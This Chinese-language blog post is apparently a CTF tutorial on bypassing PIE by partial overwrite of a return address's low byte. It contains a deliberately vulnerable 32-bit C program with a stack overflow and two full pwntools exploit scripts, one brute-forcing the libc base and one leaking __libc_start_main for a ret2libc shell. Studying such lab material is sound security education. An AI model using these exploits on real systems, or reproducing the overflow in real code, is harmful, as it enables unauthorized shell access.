Whitea's Blog.

pie低位覆盖

字数统计: 741阅读时长: 3 min
2019/11/18 Share

这里跟大家聊一聊二进制文件保护中的pie(即地址随机化),也就是程序每次运行,一些数据所在地址就会变更,但是这仅仅是libc的基地址发生变化,由于只是一个内存页的单位发生变化,那么地址的低三位就不会发生变化,即4KB(0x1000)不变。

绕过技巧:通过溢出覆盖已有地址的低三位就可以跳转到我们想要的地址上。

直接上例题

//gcc pwn2.c -m32 -Wl,-z,relro,-z,now -pie -o pwn2_2

#include <unistd.h>

void fun(){
char buffer[0x20];
read(0,buffer,0x100);
write(1,buffer,0x100);
}

int main(){
fun();
return 0;
}

编译参数:gcc pwn2.c -m32 -Wl,-z,relro,-z,now -pie -o pwn2_2

如果报错,说找不到unistd.h这个文件,且系统为64位,用命令:sudo apt install libc6-dev-i386

checksec:

​ Arch: i386-32-little
​ RELRO: Full RELRO
​ Stack: No canary found
​ NX: NX enabled
​ PIE: PIE enabled

只有canary关了,其他保护都开启了。

解法1:(爆破)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
#context.log_level = 'debug'

libc = ELF('/lib32/libc.so.6')
p_system = 0xf75ab000 + libc.symbols['system'] #0xf75ab00是你libc版本的基地址,你用ubuntu16.04,调用的libc库一般是在/lib32/libc.so.6,32位
p_binsh = 0xf75ab000 + libc.search('/bin/sh').next()
#system和/bin/sh的相对地址是不变的,基址是改变的(libc开了pie),考虑到总有一时刻的基址会和我们设置的基址一样(只随机中间的两字节,在x86上),在那一时刻,我们的脚本能拿shell,所以不断跑脚本就可以了。
while 1:
cn = process('./pwn2_2')
pay = 'a'*0x28 + 'bbbb' + p32(p_system) +'bbbb' + p32(p_binsh)
cn.send(pay)
cn.recv()
try:
cn.sendline('echo aaaaa')
echo = cn.recv()[:4]
print echo
except:
print 'try fail'
cn.close()
continue
if echo == 'aaaa':#make sure we get shell
cn.interactive()
print 'got end'
cn.close()

解法二:(pie低位覆盖,之后就是ret2libc套路)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from LibcSearcher import *
from pwn import *
import sys
context.log_level='debug
#context.arch='amd64
elf=ELF("./pwn2_2")
libc=ELF("/lib32/libc.so.6")
sh = process('./pwn2_2')

payload = 'a'*0x28 + 'bbbb' + '\x20' #这里的\x20就是低位覆盖到fun函数处
#gdb.attach(sh)
#raw_input()
sh.send(payload)

sh.recvuntil('bbbb')
sh.recv(16)

start_main = u32(sh.recv(4)) - 247

sh.recv()
base = start_main - libc.symbols['__libc_start_main']
sys_addr = base + libc.symbols['system']
binsh_addr = base + libc.search('/bin/sh').next()
payload = 'a'*0x28 + 'bbbb' + p32(sys_addr) + 'cccc' + p32(binsh_addr)
#raw_input()
sh.send(payload)
sh.recv()
sh.interactive()

脚本解释补充:

1.’\x20’返回到fun函数处,我们可以看一下ida:

上图就是fun函数的汇编代码截图,由于开了pie,对应地址在程序加载时候都不是对应的,但是最后两位的地址都是一样的,调试结果:

我们把最低位覆盖成20即可,也可以验证一下pie的地址随机化,我们让程序启动第二次。

跟第一次fun函数起始地址不一样。但是低位一样,验证pie的特性。

2.为什么’__libc_start_main’-247为libc_base?

答:调试寻找到的,根据gef和栈中的数据。

直接上调试的图:

由于破坏了’\x00’终止,write函数会输出栈中的数据,直到遇到’\x00才会停止’,

mark

CATALOG